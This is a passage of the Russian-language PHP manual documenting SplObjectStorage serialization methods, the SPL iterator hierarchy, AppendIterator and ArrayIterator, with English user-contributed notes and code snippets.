  • SplObjectStorage
  • Сериализует контейнер

SplObjectStorage::serialize

(PHP 5 >= 5.2.2, PHP 7, PHP 8)

SplObjectStorage::serialize — Сериализует контейнер

Описание

public SplObjectStorage::serialize(): string

Возвращает строковое представление контейнера.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Строковое представление контейнера.

Примеры

Пример #1 Пример использования SplObjectStorage::serialize()

<?php
$s = new SplObjectStorage;
$o = new stdClass;
$s[$o] = "data";

echo $s->serialize()."\n";
?>

Результатом выполнения данного примера будет что-то подобное:

x:i:1;O:8:"stdClass":0:{},s:4:"data";;m:a:0:{}

Смотрите также

  • SplObjectStorage::unserialize() - Восстанавливает сериализованый контейнер из строки

User Contributed Notes

There are no user contributed notes for this page.


Ассоциирует данные с текущим объектом контейнера

  • « SplObjectStorage::serialize
  • SplObjectStorage::unserialize »
  • PHP Manual
  • SplObjectStorage
  • Ассоциирует данные с текущим объектом контейнера

SplObjectStorage::setInfo

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplObjectStorage::setInfo — Ассоциирует данные с текущим объектом контейнера

Описание

public SplObjectStorage::setInfo(mixed $info): void

Ассоциирует данные с текущим объектом контейнера на который указывает итератор.

Список параметров

info

Данные, которые требуется связать с текущим объектом.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования SplObjectStorage::setInfo()

<?php
$s = new SplObjectStorage();

$o1 = new stdClass;
$o2 = new stdClass;

$s->attach($o1, "d1");
$s->attach($o2, "d2");

$s->rewind();
while($s->valid()) {
$s->setInfo("new");
$s->next();
}
var_dump($s[$o1]);
var_dump($s[$o2]);
?>

Результатом выполнения данного примера будет что-то подобное:

string(3) "new"
string(3) "new"

Смотрите также

  • SplObjectStorage::current() - Возвращает текущий объект
  • SplObjectStorage::rewind() - Переводит итератор на первый элемент контейнера
  • SplObjectStorage::key() - Возвращает индекс текущего положения итератора
  • SplObjectStorage::next() - Переход к следующему объекту
  • SplObjectStorage::valid() - Определяет, допустимо ли текущее значение итератора
  • SplObjectStorage::getInfo() - Возвращает данные, ассоциированные с текущим объектом

User Contributed Notes

There are no user contributed notes for this page.


Восстанавливает сериализованый контейнер из строки

  • « SplObjectStorage::setInfo
  • SplObjectStorage::valid »
  • PHP Manual
  • SplObjectStorage
  • Восстанавливает сериализованый контейнер из строки

SplObjectStorage::unserialize

(PHP 5 >= 5.2.2, PHP 7, PHP 8)

SplObjectStorage::unserialize — Восстанавливает сериализованый контейнер из строки

Описание

public SplObjectStorage::unserialize(string $data): void

Восстанавливает данные контейнера из строки и добавляет их в текущий контейнер.

Список параметров

data

Сериализованное представление контейнера.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования SplObjectStorage::unserialize()

<?php
$s1 = new SplObjectStorage;
$s2 = new SplObjectStorage;
$o = new stdClass;
$s1[$o] = "data";

$s2->unserialize($s1->serialize());

var_dump(count($s2));
?>

Результатом выполнения данного примера будет что-то подобное:

int(1)

Смотрите также

  • SplObjectStorage::serialize() - Сериализует контейнер

User Contributed Notes

There are no user contributed notes for this page.


Определяет, допустимо ли текущее значение итератора

  • « SplObjectStorage::unserialize
  • Итераторы »
  • PHP Manual
  • SplObjectStorage
  • Определяет, допустимо ли текущее значение итератора

SplObjectStorage::valid

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplObjectStorage::valid — Определяет, допустимо ли текущее значение итератора

Описание

public SplObjectStorage::valid(): bool

Определяет, допустимо ли текущее значение итератора, то есть возможна ли работа с этим объектом.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если текущий объект допустим и false в противном случае.

Примеры

Пример #1 Пример использования SplObjectStorage::valid()

<?php
$s = new SplObjectStorage();

$o1 = new stdClass;
$o2 = new stdClass;

$s->attach($o1, "d1");
$s->attach($o2, "d2");

$s->rewind();
while($s->valid()) {
echo $s->key()."\n";
$s->next();
}
?>

Результатом выполнения данного примера будет что-то подобное:

0
1

Смотрите также

  • SplObjectStorage::current() - Возвращает текущий объект
  • SplObjectStorage::getInfo() - Возвращает данные, ассоциированные с текущим объектом

User Contributed Notes

There are no user contributed notes for this page.


Итераторы

Содержание

  • AppendIterator
  • ArrayIterator
  • CachingIterator
  • CallbackFilterIterator
  • DirectoryIterator
  • EmptyIterator
  • FilesystemIterator
  • FilterIterator
  • GlobIterator
  • InfiniteIterator
  • IteratorIterator
  • LimitIterator
  • MultipleIterator
  • NoRewindIterator
  • ParentIterator
  • RecursiveArrayIterator
  • RecursiveCachingIterator
  • RecursiveCallbackFilterIterator
  • RecursiveDirectoryIterator
  • RecursiveFilterIterator
  • RecursiveIteratorIterator
  • RecursiveRegexIterator
  • RecursiveTreeIterator
  • RegexIterator

SPL обеспечивает набор итераторов для обхода объектов.

Дерево классов итераторов SPL

  • ArrayIterator
    • RecursiveArrayIterator
  • EmptyIterator
  • IteratorIterator
    • AppendIterator
    • CachingIterator
      • RecursiveCachingIterator
    • FilterIterator
      • CallbackFilterIterator
        • RecursiveCallbackFilterIterator
      • RecursiveFilterIterator
        • ParentIterator
      • RegexIterator
        • RecursiveRegexIterator
    • InfiniteIterator
    • LimitIterator
    • NoRewindIterator
  • MultipleIterator
  • RecursiveIteratorIterator
    • RecursiveTreeIterator
  • DirectoryIterator (наследует класс SplFileInfo)
    • FilesystemIterator
      • GlobIterator
      • RecursiveDirectoryIterator

User Contributed Notes

There are no user contributed notes for this page.


Класс AppendIterator

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

Введение

Итератор, который выполняет несколько других итераторов один за другим

Обзор классов

class AppendIterator extends IteratorIterator {
/* Методы */
public __construct()
public append(Iterator $iterator): void
public current(): mixed
public getArrayIterator(): ArrayIterator
public getIteratorIndex(): ?int
public key(): scalar
public next(): void
public rewind(): void
public valid(): bool
/* Наследуемые методы */
public IteratorIterator::current(): mixed
public IteratorIterator::getInnerIterator(): ?Iterator
public IteratorIterator::key(): mixed
public IteratorIterator::next(): void
public IteratorIterator::rewind(): void
public IteratorIterator::valid(): bool
}

Содержание

  • AppendIterator::append — Добавляет итератор
  • AppendIterator::__construct — Создаёт AppendIterator
  • AppendIterator::current — Возвращает текущее значение
  • AppendIterator::getArrayIterator — Возвращает класс итератора массива ArrayIterator
  • AppendIterator::getIteratorIndex — Возвращает индекс итератора
  • AppendIterator::key — Возвращает текущий ключ
  • AppendIterator::next — Переходит к следующему элементу
  • AppendIterator::rewind — Перематывает итератор
  • AppendIterator::valid — Проверяет срок действия текущего элемента

User Contributed Notes

php at seanmorr dot is 25-Mar-2020 10:18
joshdifabio is technically correct, but I don't see this as a bug. You can't rewind a generator and thats what append iterator does.

If you want to use AppendIterator with Generators just wrap them with NoRewindIterator:

<?php
function foo() {
        foreach ([] as $foo) {
                yield $foo;
        }
}
$append = new AppendIterator();
$append->append(new NoRewindIterator(foo()));

var_dump(iterator_to_array($append));

https://3v4l.org/pgiXB
frode at ennerd dot com 06-Sep-2018 08:22
In many cases, especially for streaming sources, Generators are way more efficient. I noticed that the AppendIterator buffers the entire "inner iterator".

<?php
/**
 * This appends $next iterator to $iterator.
 */
function append_iterators(...$iterators){
    foreach($iterators as $iterator)
        foreach($iterator as $row)
            yield($row);
}

/**
 * Merge iterator takes one first from each iterator until
 * every iterator is empty.
 */
function merge_iterators(....$its) {
    $numberOfIts = sizeof($its);
    while($numberOfIts > 0) {
        $iterator = array_shift($its);
        yield($iterator->current());
        $iterator->next();
        if($iterator->valid())
            $its[] = $iterator;
        else
            $numberOfIts--;
    }
});
?>
komalbarun at gmail dot com 16-Mar-2017 03:57
Updated code.
 I could not find how to edit a note :/

Preventing segfault if empty generator.
<?php

$append_iterator = new \AppendIterator();

$generator = some_generator();

// Only works if first value in generator is not empty
// useful when yielding arrays
foreach ($generator as $value)
{
    //If first $value not empty, generator is not empty.
    if(!empty($value))
    {
        $append_iterator->append($generator );
        //break out of loop after appending.
        break;
    }
}
komalbarun at gmail dot com 16-Mar-2017 03:52
Updated code.
 I could not find how to edit a note :/

Preventing segfault if empty generator.
<?php

$append_iterator = new \AppendIterator();

$generator = ReportModel::come_generator();

// Only works if first value in generator is not empty
// useful when yielding arrays
foreach ($append_iterator as $value)
{
    //If first $value not empty, generator is not empty.
    if(!empty($value))
    {
        $append_iterator->append($errors);
        //break out of loop after appending.
    break;
    }
}
koambarun at evolution dot com 16-Mar-2017 05:29
$append_iterator = new \AppendIterator();

$generator = ReportModel::come_generator();

foreach ($errors as $value)
{
    //If first $value not empty, generator is not empty.
    if(!empty($value))
    {
        $append_iterator->append($errors);
        //break out of loop after appending.
    break;
    }
}
joshdifabio at gmail dot com 15-Jun-2016 01:56
Note that AppendIterator will segfault when iterating over an empty generator. Do not use AppendIterator in conjunction with generators.

https://3v4l.org/YC68k

https://bugs.php.net/bug.php?id=71436


Добавляет итератор

  • « AppendIterator
  • AppendIterator::__construct »
  • PHP Manual
  • AppendIterator
  • Добавляет итератор

AppendIterator::append

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

AppendIterator::append — Добавляет итератор

Описание

public AppendIterator::append(Iterator $iterator): void

Добавляет итератор.

Список параметров

iterator

Итератор для добавления.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использованияAppendIterator::append()

<?php
$array_a = new ArrayIterator(array('a', 'b', 'c'));
$array_b = new ArrayIterator(array('d', 'e', 'f'));

$iterator = new AppendIterator;
$iterator->append($array_a);
$iterator->append($array_b);

foreach ($iterator as $current) {
echo $current;
}
?>

Результат выполнения данного примера:

abcdef

Смотрите также

  • AppendIterator::__construct() - Создаёт AppendIterator

User Contributed Notes

There are no user contributed notes for this page.


Создаёт AppendIterator

  • « AppendIterator::append
  • AppendIterator::current »
  • PHP Manual
  • AppendIterator
  • Создаёт AppendIterator

AppendIterator::__construct

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

AppendIterator::__construct — Создаёт AppendIterator

Описание

public AppendIterator::__construct()

Создаёт AppendIterator.

Список параметров

У этой функции нет параметров.

Примеры

Пример #1 Итерация AppendIterator с помощью foreach

<?php
$pizzas = new ArrayIterator(array('Margarita', 'Siciliana', 'Hawaii'));
$toppings = new ArrayIterator(array('Cheese', 'Anchovies', 'Olives', 'Pineapple', 'Ham'));

$appendIterator = new AppendIterator;
$appendIterator->append($pizzas);
$appendIterator->append($toppings);

foreach ($appendIterator as $key => $item) {
echo $key . ' => ' . $item . PHP_EOL;
}
?>

Результат выполнения данного примера:

0 => Margarita
1 => Siciliana
2 => Hawaii
0 => Cheese
1 => Anchovies
2 => Olives
3 => Pineapple
4 => Ham

Пример #2 Итерация AppendIterator с помощью AppendIterator API

<?php
$pizzas = new ArrayIterator(array('Margarita', 'Siciliana', 'Hawaii'));
$toppings = new ArrayIterator(array('Cheese', 'Anchovies', 'Olives', 'Pineapple', 'Ham'));

$appendIterator = new AppendIterator;
$appendIterator->append($pizzas);
$appendIterator->append($toppings);

while ($appendIterator->valid()) {
printf(
'%s => %s => %s%s',
$appendIterator->getIteratorIndex(),
$appendIterator->key(),
$appendIterator->current(),
PHP_EOL
);
$appendIterator->next();
}
?>

Результат выполнения данного примера:

0 => 0 => Margarita
0 => 1 => Siciliana
0 => 2 => Hawaii
1 => 0 => Cheese
1 => 1 => Anchovies
1 => 2 => Olives
1 => 3 => Pineapple
1 => 4 => Ham

Примечания

Предостережение

При использовании функции iterator_to_array() для копирования значения AppendIterator в массив, вам необходимо установить дополнительный аргумент use_key в значение false. Когда use_key не принимает значение false, какие-либо ключи, повторно встречающиеся во внутренних итераторах, будут перезаписаны в возвращаемый массив. Сохранить оригинальные ключи невозможно.

Смотрите также

  • AppendIterator::append() - Добавляет итератор

User Contributed Notes

There are no user contributed notes for this page.


Возвращает текущее значение

  • « AppendIterator::__construct
  • AppendIterator::getArrayIterator »
  • PHP Manual
  • AppendIterator
  • Возвращает текущее значение

AppendIterator::current

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

AppendIterator::current — Возвращает текущее значение

Описание

public AppendIterator::current(): mixed

Возвращает текущее значение.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Текущее значение, если оно действительное, или null в противном случае.

Смотрите также

  • Iterator::current() - Возврат текущего элемента
  • AppendIterator::key() - Возвращает текущий ключ
  • AppendIterator::valid() - Проверяет срок действия текущего элемента
  • AppendIterator::next() - Переходит к следующему элементу
  • AppendIterator::rewind() - Перематывает итератор

User Contributed Notes

There are no user contributed notes for this page.


Возвращает класс итератора массива ArrayIterator

  • « AppendIterator::current
  • AppendIterator::getIteratorIndex »
  • PHP Manual
  • AppendIterator
  • Возвращает класс итератора массива ArrayIterator

AppendIterator::getArrayIterator

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

AppendIterator::getArrayIterator — Возвращает класс итератора массива ArrayIterator

Описание

public AppendIterator::getArrayIterator(): ArrayIterator

Этот метод получает класс ArrayIterator, который используется для хранения итераторов, добавленных с помощью метода AppendIterator::append().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает класс ArrayIterator, содержащий добавленные итераторы.

Смотрите также

  • AppendIterator::getInnerIterator()

User Contributed Notes

There are no user contributed notes for this page.


Возвращает индекс итератора

  • « AppendIterator::getArrayIterator
  • AppendIterator::key »
  • PHP Manual
  • AppendIterator
  • Возвращает индекс итератора

AppendIterator::getIteratorIndex

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

AppendIterator::getIteratorIndex — Возвращает индекс итератора

Описание

public AppendIterator::getIteratorIndex(): ?int

Возвращает индекс текущего внутреннего итератора.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает целочисленный индекс, начинающийся с нуля текущего внутреннего итератора, если он существует, или null в противном случае.

Примеры

Пример #1 Пример использования AppendIterator.getIteratorIndex()

<?php
$array_a = new ArrayIterator(array('a' => 'aardwolf', 'b' => 'bear', 'c' => 'capybara'));
$array_b = new ArrayIterator(array('apple', 'orange', 'lemon'));

$iterator = new AppendIterator;
$iterator->append($array_a);
$iterator->append($array_b);

foreach ($iterator as $key => $current) {
echo $iterator->getIteratorIndex() . ' ' . $key . ' ' . $current . PHP_EOL;
}
?>

Результат выполнения данного примера:

0  a aardwolf
0  b bear
0  c capybara
1  0 apple
1  1 orange
1  2 lemon

Смотрите также

  • AppendIterator::getInnerIterator()
  • AppendIterator::getArrayIterator() - Возвращает класс итератора массива ArrayIterator

User Contributed Notes

There are no user contributed notes for this page.


Возвращает текущий ключ

  • « AppendIterator::getIteratorIndex
  • AppendIterator::next »
  • PHP Manual
  • AppendIterator
  • Возвращает текущий ключ

AppendIterator::key

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

AppendIterator::key — Возвращает текущий ключ

Описание

public AppendIterator::key(): scalar

Возвращает текущий ключ.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Текущий ключ, если он является действительным, или null в противном случае.

Примеры

Пример #1 Пример использования AppendIterator::key()

<?php
$array_a = new ArrayIterator(array('a' => 'aardwolf', 'b' => 'bear', 'c' => 'capybara'));
$array_b = new ArrayIterator(array('apple', 'orange', 'lemon'));

$iterator = new AppendIterator;
$iterator->append($array_a);
$iterator->append($array_b);

// Ручная итерация
$iterator->rewind();
while ($iterator->valid()) {
echo $iterator->key() . ' ' . $iterator->current() . PHP_EOL;
$iterator->next();
}

echo PHP_EOL;

// С конструкцией foreach
foreach ($iterator as $key => $current) {
echo $key . ' ' . $current . PHP_EOL;
}
?>

Результат выполнения данного примера:

a aardwolf
b bear
c capybara
0 apple
1 orange
2 lemon

a aardwolf
b bear
c capybara
0 apple
1 orange
2 lemon

Смотрите также

  • Iterator::key() - Возвращает ключ текущего элемента
  • AppendIterator::current() - Возвращает текущее значение
  • AppendIterator::valid() - Проверяет срок действия текущего элемента
  • AppendIterator::next() - Переходит к следующему элементу
  • AppendIterator::rewind() - Перематывает итератор

User Contributed Notes

There are no user contributed notes for this page.


Переходит к следующему элементу

  • « AppendIterator::key
  • AppendIterator::rewind »
  • PHP Manual
  • AppendIterator
  • Переходит к следующему элементу

AppendIterator::next

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

AppendIterator::next — Переходит к следующему элементу

Описание

public AppendIterator::next(): void

Переходит к следующему элементу. Если элемент - это другой итератор, то перематывает этот итератор.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • Iterator::next() - Переходит к следующему элементу
  • AppendIterator::current() - Возвращает текущее значение
  • AppendIterator::key() - Возвращает текущий ключ
  • AppendIterator::valid() - Проверяет срок действия текущего элемента
  • AppendIterator::rewind() - Перематывает итератор

User Contributed Notes

There are no user contributed notes for this page.


Перематывает итератор

  • « AppendIterator::next
  • AppendIterator::valid »
  • PHP Manual
  • AppendIterator
  • Перематывает итератор

AppendIterator::rewind

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

AppendIterator::rewind — Перематывает итератор

Описание

public AppendIterator::rewind(): void

Перемотка на первый элемент первого внутреннего итератора.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • Iterator::rewind() - Возвращает итератор на первый элемент
  • AppendIterator::current() - Возвращает текущее значение
  • AppendIterator::key() - Возвращает текущий ключ
  • AppendIterator::next() - Переходит к следующему элементу
  • AppendIterator::valid() - Проверяет срок действия текущего элемента

User Contributed Notes

There are no user contributed notes for this page.


Проверяет срок действия текущего элемента

  • « AppendIterator::rewind
  • ArrayIterator »
  • PHP Manual
  • AppendIterator
  • Проверяет срок действия текущего элемента

AppendIterator::valid

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

AppendIterator::valid — Проверяет срок действия текущего элемента

Описание

public AppendIterator::valid(): bool

Проверяет срок действия текущего элемента.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если текущая итерация допустима и false в противном случае.

Смотрите также

  • AppendIterator::current() - Возвращает текущее значение
  • AppendIterator::key() - Возвращает текущий ключ
  • AppendIterator::next() - Переходит к следующему элементу
  • AppendIterator::rewind() - Перематывает итератор

User Contributed Notes

There are no user contributed notes for this page.


Класс ArrayIterator

(PHP 5, PHP 7, PHP 8)

Введение

Позволяет удалять элементы, изменять ключи или значения при итерации по массивам или объектам.

Когда вы хотите перебрать один и тот же массив несколько раз, вам нужно создать экземпляр ArrayObject и создать для него объекты ArrayIterator, ссылающиеся на него либо при помощи foreach или при вызове метода getIterator() вручную.

Обзор классов

class ArrayIterator implements SeekableIterator, ArrayAccess, Serializable, Countable {
/* Константы */
public const int STD_PROP_LIST;
public const int ARRAY_AS_PROPS;
/* Методы */
public __construct(array|object $array = [], int $flags = 0)
public append(mixed $value): void
public asort(int $flags = SORT_REGULAR): true
public count(): int
public current(): mixed
public getArrayCopy(): array
public getFlags(): int
public key(): string|int|null
public ksort(int $flags = SORT_REGULAR): true
public natcasesort(): true
public natsort(): true
public next(): void
public offsetExists(mixed $key): bool
public offsetGet(mixed $key): mixed
public offsetSet(mixed $key, mixed $value): void
public offsetUnset(mixed $key): void
public rewind(): void
public seek(int $offset): void
public serialize(): string
public setFlags(int $flags): void
public uasort(callable $callback): true
public uksort(callable $callback): true
public unserialize(string $data): void
public valid(): bool
}

Предопределённые константы

Флаги ArrayIterator

ArrayIterator::STD_PROP_LIST

Свойства имеют обычную функциональность при доступе в виде списке (var_dump, foreach и т.д.).

ArrayIterator::ARRAY_AS_PROPS

Записи могут быть доступны как свойства (чтение и запись).

Содержание

  • ArrayIterator::append — Добавить элемент
  • ArrayIterator::asort — Сортирует элементы по значениям
  • ArrayIterator::__construct — Создаёт ArrayIterator
  • ArrayIterator::count — Посчитать количество элементов
  • ArrayIterator::current — Возвращает текущий элемент в массиве
  • ArrayIterator::getArrayCopy — Возвращает копию массива
  • ArrayIterator::getFlags — Получает флаги поведения
  • ArrayIterator::key — Возвращает ключ текущего элемента массива
  • ArrayIterator::ksort — Сортирует элементы по ключам
  • ArrayIterator::natcasesort — Сортирует элементы "натурально", с учётом регистра
  • ArrayIterator::natsort — Сортирует элементы "натурально"
  • ArrayIterator::next — Перемещает указатель за следующую запись
  • ArrayIterator::offsetExists — Проверяет существует ли смещение
  • ArrayIterator::offsetGet — Получает значение для смещения
  • ArrayIterator::offsetSet — Устанавливает значение для смещения
  • ArrayIterator::offsetUnset — Сбрасывает значение по смещению
  • ArrayIterator::rewind — Перемещает указатель в начало массива
  • ArrayIterator::seek — Перемещает указатель на выбранную позицию
  • ArrayIterator::serialize — Сериализует массив
  • ArrayIterator::setFlags — Устанавливает флаги, изменяющие поведение ArrayIterator
  • ArrayIterator::uasort — Сортировка с помощью заданной пользователем функции и сохранением ключей
  • ArrayIterator::uksort — Сортировка по ключам с помощью заданной функции сравнения
  • ArrayIterator::unserialize — Десериализация
  • ArrayIterator::valid — Проверяет, содержит ли массив ещё записи

User Contributed Notes

butesa at freenet dot de 28-Oct-2022 05:11
The documentation states "This iterator allows to unset and modify values and keys while iterating over Arrays and Objects". But if you pass an array to the constructor, the iterator works with a copy of that array, so the modifications will not be written back to that initial array. ArrayObject behaves the same way.

If you want an iterator that writes back to the array, you can use this function:

<?php
function &getArrayIterator(array &$a): Iterator {
    foreach ($a as $k => &$v) {
        yield $k => $v;
    }
}
?>

Usage:

<?php
$array = [1 => 'a', 2 => 'b'];

$iterator = getArrayIterator($array);
foreach ($iterator as &$value) {
    $value .= 'x';
}

//array(2) {
//  [1]=>
//  string(2) "ax"
//  [2]=>
//  &string(2) "bx"
//}
//object(Generator)#4 (0) {
//}
var_dump($array);
var_dump($iterator);

?>

Comparison with plain array, ArrayIterator and ArrayObject:

<?php
$array1 = [1 => 'a', 2 => 'b'];
$array2 = [1 => 'a', 2 => 'b'];
$array3 = [1 => 'a', 2 => 'b'];

foreach ($array1 as &$value) {
    $value .= 'x';
}

$iterator2 = new ArrayIterator($array2);
foreach ($iterator2 as &$value) {
    $value .= 'x';
}

$iterator3 = new ArrayObject($array3);
foreach ($iterator3 as &$value) {
    $value .= 'x';
}

//array(2) {
//  [1]=>
//  string(2) "ax"
//  [2]=>
//  string(2) "bx"
//}
var_dump($array1);

//array(2) {
//  [1]=>
//  string(1) "a"
//  [2]=>
//  string(1) "b"
//}
//object(ArrayIterator)#1 (1) {
//  ["storage":"ArrayIterator":private]=>
//  array(2) {
//    [1]=>
//    string(2) "ax"
//    [2]=>
//    string(2) "bx"
//  }
//}
var_dump($array2);
var_dump($iterator2);

//array(2) {
//  [1]=>
//  string(1) "a"
//  [2]=>
//  string(1) "b"
//}
//object(ArrayObject)#2 (1) {
//  ["storage":"ArrayObject":private]=>
//  array(2) {
//    [1]=>
//    string(2) "ax"
//    [2]=>
//    string(2) "bx"
//  }
//}
var_dump($array3);
var_dump($iterator3);
?>
shaman_master at list dot ru 01-Dec-2019 06:48
If you want something like `ArrayCallbackIterator` by Relakuyae https://www.php.net/manual/ru/class.arrayiterator.php#106231 , use function `iterator_apply`.
daniel dot rutkoski at gmail dot com 25-Sep-2015 02:28
<?php
class PrintArray
{
    private $code = null;

    function __construct ($val)
    {
        $this->code = $val;
        $this->_print();
    }

    private function arrayIterator($val, $grau)
    {
        $grau++;
        $arr = new \ArrayIterator($val);
        while ($arr->valid())
        {
            if(is_array($arr->current()))
            {
                $this->arrayIterator($arr->current(), $grau);
            }
            else
            {
                $this->code .= str_repeat(" ", (4 * $grau)) . $arr->key() . " : " . $arr->current() . PHP_EOL;
            }
            $arr->next();
        }
    }

    private function _print()
    {
        if (is_array($this->code))
        {
            $arr = new \ArrayIterator($this->code);
            $this->code = 'array(' . PHP_EOL;
            while ($arr->valid())
            {
                if(is_array($arr->current()))
                {
                    $this->arrayIterator($arr->current(), 0);
                }
                else
                {
                    $this->code .= $arr->key() . " : " . $arr->current() . "\n";
                }
                $arr->next();
            }
            $this->code .= ')';
        }
        return $this;
    }

    public function getVal ()
    {
        return $this->code;
    }
}

$arr = array(
    array(
        'ok' => 1, array(9,7,5,9,'a','b'=>array(1,2)),
        'error' => 2, array('h','u','o')
    )
    , 'array'
);
$pArray = new PrintArray($arr);
var_dump($pArray->getVal());
Relakuyae 19-Oct-2011 05:23
Need a callback on an iterated value, but don't have PHP 5.4+?  This makes is stupid easy:

<?php
class ArrayCallbackIterator extends ArrayIterator {
  private $callback;
  public function __construct($value, $callback) {
    parent::__construct($value);
    $this->callback = $callback;
  }

  public function current() {
    $value = parent::current();
    return call_user_func($this->callback, $value);
  }
}
?>

You can use it pretty much exactly as the Array Iterator:

<?php
$iterator1 = new ArrayCallbackIterator($valueList, "callback_function");
$iterator2 = new ArrayCallbackIterator($valueList, array($object, "callback_class_method"));
?>
foobuilder at gmail dot com 09-Dec-2010 11:01
Unsetting all keys of an ArrayItem within foreach will always leave the second key:

<?php
$items = new ArrayObject(range(0, 9));

while (list($k, $v) = each($items)) {
    unset($items[$k]);
}

print_r($items);

//  ArrayIterator Object
//  (
//      [storage:ArrayIterator:private] => Array
//          (
//              [1] => 1
//          )
//  )
?>

I'm not sure if this is a bug as unsetting keys within foreach is usually a bad idea to begin with (use while instead), but it's something to be aware of.
Sean Burlington 26-May-2009 05:15
and to iterate recursively use the (sparsely documented)  RecursiveArrayIterator

<?php

$fruits = array(
                "apple" => "yummy",
                "orange" => "ah ya, nice",
                "grape" => "wow, I love it!",
                 "plum" => "nah, not me"
                );

$veg = array("potato" => "chips", "carrot" => "soup");
$grocery = array($fruits, $veg);
$obj = new ArrayObject( $grocery );

$it = new RecursiveIteratorIterator( new RecursiveArrayIterator($grocery));

foreach ($it as $key=>$val)
echo $key.":".$val."\n";

?>

Output
--------
apple:yummy
orange:ah ya, nice
grape:wow, I love it!
plum:nah, not me
potato:chips
carrot:soup
Venelin Vulkov 11-Nov-2008 03:44
Another fine Iterator from php . You can use it especially when you have to iterate over objects

<?php
$fruits = array(
    "apple" => "yummy",
    "orange" => "ah ya, nice",
    "grape" => "wow, I love it!",
    "plum" => "nah, not me"
);
$obj = new ArrayObject( $fruits );
$it = $obj->getIterator();

// How many items are we iterating over?

echo "Iterating over: " . $obj->count() . " values\n";

// Iterate over the values in the ArrayObject:
while( $it->valid() )
{
    echo $it->key() . "=" . $it->current() . "\n";
    $it->next();
}

// The good thing here is that it can be iterated with foreach loop

foreach ($it as $key=>$val)
echo $key.":".$val."\n";

/* Outputs something like */

Iterating over: 4 values
apple=yummy
orange=ah ya, nice
grape=wow, I love it!
plum=nah, not me

?>

Regards.


Добавить элемент

  • « ArrayIterator
  • ArrayIterator::asort »
  • PHP Manual
  • ArrayIterator
  • Добавить элемент

ArrayIterator::append

(PHP 5, PHP 7, PHP 8)

ArrayIterator::append — Добавить элемент

Описание

public ArrayIterator::append(mixed $value): void

Добавляет значение value, как последний элемент массива.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

value

Значение, которое нужно добавить.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примечания

Замечание:

Этот метод не может быть вызван, если ArrayIterator указывает на object.

Смотрите также

  • ArrayIterator::next() - Перемещает указатель за следующую запись

User Contributed Notes

martin dot abbrent+php dot net at ufz dot de 02-May-2013 12:49
As ArrayIterator is not a real list the implementation of "append" is a little bit confusing me. When using "append" I expected the new value at the postion "last element index + 1". This will not happen when you unset elements before.
It seems like indexes once they're used are blacklisted end never used again, even if they're unset.
Like suggested in http://www.php.net/manual/de/arrayiterator.offsetset.php#106775 ArrayIterator::append uses ArrayIterator::offsetSet with empty index parameter. So I've this two workarounds to get "append" to work like I want:

<?php
class myArrayIterator extends ArrayIterator {

    public function offsetSet($offset, $value) {

        if (is_null($offset)) { // offset == null when it's called by ArrayIterator::append
            $offset = $this->generateOffset(); // do it in a separate method
        }
        parent::offsetSet($offset, $value); // call the native implementation with an index
        $this->ksort(); // sort it to avoid confusion when it gets dumped or iterated
    }

    protected function generateOffset() {

        $offset = count($this); // take count as offset as it should be lastKey+1
        while ($this->offsetExists($offset)) { // is it really empty?
            $offset++; // try the next one until there's an empty one
        }
        return $offset;
    }
}

class mySaveArrayIterator extends myArrayIterator {

    protected function generateOffset() {

        $offset = 0; // expect zero is the first possible key
        while ($this->offsetExists($offset)) { // try every key until there's an empty one
            $offset++;
        }
        return $offset;
    }
}

$data = array('foo', 'bar', 'baz');

$array       = new ArrayIterator($data);
$myArray     = new myArrayIterator($data);
$mySaveArray = new mySaveArrayIterator($data);

// remove the last element
$array      ->offsetUnset(2);
$myArray    ->offsetUnset(2);
$mySaveArray->offsetUnset(2);

// append an element
$array      ->append('foobar');
$myArray    ->append('foobar');
$mySaveArray->append('foobar');

// check the position of the new element
print_r($array);
print_r($myArray);
print_r($mySaveArray);

// remove some element
$array      ->offsetUnset(1);
$myArray    ->offsetUnset(1);
$mySaveArray->offsetUnset(1);

// again append an element
$array      ->append('foobarbaz');
$myArray    ->append('foobarbaz');
$mySaveArray->append('foobarbaz');

// check the position of the new element
print_r($array);
print_r($myArray);
print_r($mySaveArray);
?>

Output:

ArrayIterator Object
(
    [storage:ArrayIterator:private] => Array
        (
            [0] => foo
            [1] => bar
            [3] => foobar
        )

)
myArrayIterator Object
(
    [storage:ArrayIterator:private] => Array
        (
            [0] => foo
            [1] => bar
            [2] => foobar
        )

)
mySaveArrayIterator Object
(
    [storage:ArrayIterator:private] => Array
        (
            [0] => foo
            [1] => bar
            [2] => foobar
        )

)
ArrayIterator Object
(
    [storage:ArrayIterator:private] => Array
        (
            [0] => foo
            [3] => foobar
            [4] => foobarbaz
        )

)
myArrayIterator Object
(
    [storage:ArrayIterator:private] => Array
        (
            [0] => foo
            [2] => foobar
            [3] => foobarbaz
        )

)
mySaveArrayIterator Object
(
    [storage:ArrayIterator:private] => Array
        (
            [0] => foo
            [1] => foobarbaz
            [2] => foobar
        )

)

